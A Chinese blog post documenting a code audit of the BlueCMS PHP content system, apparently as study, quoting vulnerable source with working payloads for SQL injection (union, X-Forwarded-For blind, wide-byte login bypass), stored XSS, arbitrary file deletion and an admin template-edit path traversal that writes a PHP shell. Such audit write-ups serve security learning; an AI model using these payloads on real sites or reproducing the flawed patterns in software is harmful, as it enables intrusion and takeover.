S1xHcL's Blog.

bluecms-代码审计学习

Word count: 2kReading time: 10 min
2021/08/30 Share

0x01 SQL注入

  1. union sql 注入1(前台)

漏洞路径在ad_js.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

define('IN_BLUE', true);
require_once dirname(__FILE__) . '/include/common.inc.php';

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
if($ad['time_set'] == 0)
{
$ad_content = $ad['content'];
}
else
{
if($ad['end_time'] < time())
{
$ad_content = $ad['exp_content'];
}
else
{
$ad_content = $ad['content'];
}
}
$ad_content = str_replace('"', '\"',$ad_content);
$ad_content = str_replace("\r", "\\r",$ad_content);
$ad_content = str_replace("\n", "\\n",$ad_content);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

?>

注入出现在第13行,虽然$ad_id经过了addslashes函数的转义,但是在sql语句中,并没有使用单引号进行包裹,addslashes函数并没有发挥作用,产生了注入,输出在了注释里。

Payload: -1 union select 1,2,3,4,5,6,user()

  1. XFF注入

在配置文件./include/common.inc.php中,第30~36中过滤了大部分,但缺少了$_SERVER

1
2
3
4
5
6
7
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}

漏洞出现在include/common.fun.php中的getip()函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}

通过getenv()函数获取环境变量的值,可通过X-Forwarded-For伪造。全局搜索看哪里有调用该函数

先看第一处调用:comment.php,第114行处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if($act == 'send')
{
if(empty($id))
{
return false;
}

$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
$mood = intval($_POST['mood']);
$content = !empty($_POST['comment']) ? htmlspecialchars($_POST['comment']) : '';
$content = nl2br($content);
$type = intval($_POST['type']);
if(empty($content))
{
showmsg('评论内容不能为空');
}
if($_CFG['comment_is_check'] == 0)
{
$is_check = 1;
}
else
{
$is_check = 0;
}

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);

在sql语句中直接使用getip(),没有任何的过滤,根据代码构造payload

Payload: X-Forwarded-For: 1’ and sleep(5) and ‘1’=’1

第二处调用:./include/common.inc.php,第45行

1
$online_ip = getip();

getip()赋值给变量$online_ip,全局搜索该变量,在guest_book.php中第45行找到了未过滤利用点,直接拼接online_ip到sql语句中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
elseif ($act == 'send')
{
$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
$rid = intval($_POST['rid']);
$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
$content = nl2br($content);
if(empty($content))
{
showmsg('评论内容不能为空');
}
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
$db->query($sql);
showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']);
}

利用有两种方法,第一种是X-Forwarded-For: 1' and sleep(5) and '1'='1使用时间盲注。第二种方法是利用留言处回显。

Payload: X-Forwarded-For: 1’,database()) #

  1. 宽字节注入

在网站数据库配置文件./data/config.php中可以看到使用gb2312编码方式

后台登陆路径./admin/login.php,使用check_admin()函数检查账号密码

跟进该函数,在./admin/include/common.fun.php第179行

1
2
3
4
5
6
7
8
9
10
11
12
13
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}

$_POST过来的数据经过addslashes()函数转义,利用%df让转义的\失效,从而造成宽字节注入。

抓包在burp里面修改,输入在浏览器中会被urlcode编码。

Payload: admin_name=1%df’+or+1=1%23

  1. union sql 注入2(后台)

漏洞路径在./admin/article.php中第131~139行

1
2
3
4
5
6
7
8
9
elseif($act == 'del'){
$article = $db->getone("SELECT cid, lit_pic FROM ".table('article')." WHERE id=".$_GET['id']);
$sql = "DELETE FROM ".table('article')." WHERE id=".intval($_GET['id']);
$db->query($sql);
if (file_exists(BLUE_ROOT.$article['lit_pic'])) {
@unlink(BLUE_ROOT.$article['list_pic']);
}
showmsg('删除本地新闻成功', 'article.php?cid='.$article['cid']);
}

从前端GET过来的id参数直接插入sql语句中,未做任何过滤

Payload: act=del&id=-1 union select user(),2

  1. union sql 注入3(后台)

漏洞路径在./admin/nav.php中第63~70行

1
2
3
4
5
6
7
8
elseif($act=='edit')
{
$sql = "select * from ".table('navigate')." where navid = ".$_GET['navid'];
$nav = $db->getone($sql);
$smarty->assign('nav',$nav);
$smarty->assign('act', $act );
$smarty->display('nav_info.htm');
}

从前端GET过来的navid参数直接插入sql语句中,未做任何过滤

Payload: act=edit&navid=-1 union select 1,user(),database(),4,version(),6 –+

0x02 XSS

  1. 存储型XSS1

漏洞路径在./user.php中第134~140行

1
2
3
4
5
6
7
elseif($act == 'do_reg'){
$user_name = !empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
$pwd = !empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
$pwd1 = !empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$safecode = !empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
$from = !empty($from) ? base64_decode($from) : 'user.php';

$email的过滤只有trim()函数首尾去空,和common.inc.php文件中的addslashes()函数对单双引号进行转义。由于前端存在格式校验,所以抓包进行修改。

或者是正常注册用户后,在用户个人管理处直接修改,无须抓包

  1. 存储型XSS2

漏洞路径同样在./user.php中第266行

1
2
3
4
5
6
7
8
9
10
11
12
13
elseif ($act == 'do_add_news') {
include_once 'include/upload.class.php';
$image = new upload();
$title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : '';
$color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : '';
$cid = !empty($_POST['cid']) ? intval($_POST['cid']) : '';
if(empty($cid)){
showmsg('新闻分类不能为空');
}
$author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name'];
$source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : '';
$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
$descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);

$content参数经过filter_data()函数过滤,跟踪该函数在./include/common.fun.php中第985~989行

1
2
3
4
5
function filter_data($str)
{
$str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
return $str;
}

输入内容通过preg_replace()函数进行过滤,但是过滤不完整,例如<a>,<img>等,还有html5的一系列标签都可以使用。

1
2
3
4
Payload:
<img src=x onerror=alert(1)>
<a href=# onmouseover=alert(1)>XSS</a>
<style onload=alert(1) />

0x04 任意文件删除

  1. 任意文件删除1

漏洞路径在./publish.php中第309~318行

1
2
3
4
5
6
7
8
9
10
elseif($act == 'del_pic')
{
$id = $_REQUEST['id'];
$db->query("DELETE FROM ".table('post_pic').
" WHERE pic_path='$id'");
if(file_exists(BLUE_ROOT.$id))
{
@unlink(BLUE_ROOT.$id);
}
}

$id值传递过来后直接与BLUE_ROOT拼接,判断文件是否存在后直接删除,未做任何过滤。

本次先放置一个test.txt文件

Payload: act=del_pic&id=./test.txt

  1. 任意文件删除2

漏洞路径在./user.php中第787~791行

1
2
3
4
5
6
7
8
9
elseif($act == 'edit_user_info'){
$user_id = intval($_SESSION['user_id']);
...
...
else{
if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
@unlink(BLUE_ROOT.$_POST['face_pic3']);
}
}

face_pic3未做任何过滤直接拼接删除文件

0x05 后台Getshell

漏洞路径在./admin/tpl_manage.php中第47~62行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
elseif($act == 'do_edit'){
$tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
$tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
if(empty($tpl_name)){
return false;
}
$tpl = BLUE_ROOT.'templates/default/'.$tpl_name;
if(!$handle = @fopen($tpl, 'wb')){
showmsg("打开目标模版文件 $tpl 失败");
}
if(fwrite($handle, $tpl_content) === false){
showmsg('写入目标 $tpl 失败');
}
fclose($handle);
showmsg('编辑模板成功', 'tpl_manage.php');
}

存在文件读写的操作,并且tpl_nametpl_content参数可控

1
2
3
4
Payload: 
http://bluscms/admin/tpl_manage.php?act=do_edit
POST-Data:
tpl_name=../../shell.php&tpl_content=<? phpinfo();?>

CATALOG
  1. 1. 0x01 SQL注入
  2. 2. 0x02 XSS
  3. 3. 0x04 任意文件删除
  4. 4. 0x05 后台Getshell